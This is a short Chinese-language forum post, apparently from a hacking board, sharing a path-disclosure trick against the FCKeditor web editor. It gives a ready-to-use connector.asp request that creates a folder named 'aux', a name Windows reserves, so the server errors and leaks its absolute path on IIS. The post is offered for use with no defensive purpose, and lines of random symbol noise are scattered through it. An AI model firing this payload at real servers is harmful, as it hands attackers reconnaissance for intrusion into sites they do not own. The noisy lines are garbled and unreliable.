最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
' z1 ]9 ^. M% R; s- S
. o0 v2 k6 W) B0 o* p, i
版本未测试。。。
) j2 t- x6 b; l) r3 o
. b  l. Q: |) g; Z0 z( @2 x& F原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。


听说IIS都可以。。